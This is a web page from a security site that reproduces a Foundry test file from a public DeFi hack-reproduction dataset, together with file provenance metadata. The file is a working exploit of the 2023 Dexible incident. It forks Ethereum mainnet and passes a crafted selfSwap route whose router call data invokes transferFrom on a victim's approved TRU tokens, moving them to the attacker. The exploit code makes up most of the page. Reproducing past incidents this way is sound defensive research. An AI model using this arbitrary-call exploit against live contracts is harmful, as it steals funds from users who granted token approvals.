Skip to content
THREATWIRE

Public reproduction file

src/test/2023-02/Dexible_exp.sol

Public reproduction file for dataset entry - Dexible.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-02/Dexible_exp.sol82 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/peckshield/status/1626493024879673344
9// @TX
10// https://etherscan.io/tx/0x138daa4cbeaa3db42eefcec26e234fc2c89a4aa17d6b1870fc460b2856fd11a6
11// https://twitter.com/MevRefund/status/1626450002254958592
13library TokenTypes {
14 struct TokenAmount {
15 uint112 amount;
16 address token;
17 }
20library SwapTypes {
21 struct RouterRequest {
22 address router;
23 address spender;
24 TokenTypes.TokenAmount routeAmount;
25 bytes routerData;
26 }
28 struct SelfSwap {
29 address feeToken;
30 TokenTypes.TokenAmount tokenIn;
31 TokenTypes.TokenAmount tokenOut;
32 RouterRequest[] routes;
33 }
36interface IDexible {
37 function selfSwap(
38 SwapTypes.SelfSwap calldata request
39 ) external;
42contract ContractTest is Test {
43 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
44 IERC20 TRU = IERC20(0x4C19596f5aAfF459fA38B0f7eD92F11AE6543784);
45 IDexible Dexible = IDexible(0xDE62E1b0edAa55aAc5ffBE21984D321706418024);
46 address victim = 0x58f5F0684C381fCFC203D77B2BbA468eBb29B098;
48 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
50 function setUp() public {
51 cheats.createSelectFork("mainnet", 16_646_022);
52 cheats.label(address(USDC), "USDC");
53 cheats.label(address(TRU), "TRU");
54 cheats.label(address(Dexible), "Dexible");
55 }
57 function testExploit() external {
58 deal(address(USDC), address(this), 15 * 1e6);
59 USDC.approve(address(Dexible), type(uint256).max);
60 uint256 transferAmount = TRU.balanceOf(victim);
61 if (TRU.allowance(victim, address(Dexible)) < transferAmount) {
62 transferAmount = TRU.allowance(victim, address(Dexible));
63 }
64 bytes memory callDatas =
65 abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), transferAmount);
66 TokenTypes.TokenAmount memory routeAmounts = TokenTypes.TokenAmount({amount: 0, token: address(TRU)});
67 TokenTypes.TokenAmount memory tokenIns = TokenTypes.TokenAmount({amount: 14_403_789, token: address(USDC)});
68 TokenTypes.TokenAmount memory tokenOuts = TokenTypes.TokenAmount({amount: 0, token: address(USDC)});
69 SwapTypes.RouterRequest[] memory route = new SwapTypes.RouterRequest[](1);
70 route[0] = SwapTypes.RouterRequest({
71 router: address(TRU),
72 spender: address(Dexible),
73 routeAmount: routeAmounts,
74 routerData: callDatas
75 });
76 SwapTypes.SelfSwap memory requests =
77 SwapTypes.SelfSwap({feeToken: address(USDC), tokenIn: tokenIns, tokenOut: tokenOuts, routes: route});
78 Dexible.selfSwap(requests);
80 emit log_named_decimal_uint("Attacker TRU balance after exploit", TRU.balanceOf(address(this)), TRU.decimals());
81 }

Analysis

Dataset entry

Public Foundry test for “- Dexible” (2023-02-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
Dexible
Path
src/test/2023-02/Dexible_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
364a9ab99fc12539dcccb97c94e6d18fbe246a23
Language
Solidity
Size
83 lines
Date
2023-02-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-02/Dexible_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 364a9ab99fc12539dcccb97c94e6d18fbe246a23, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.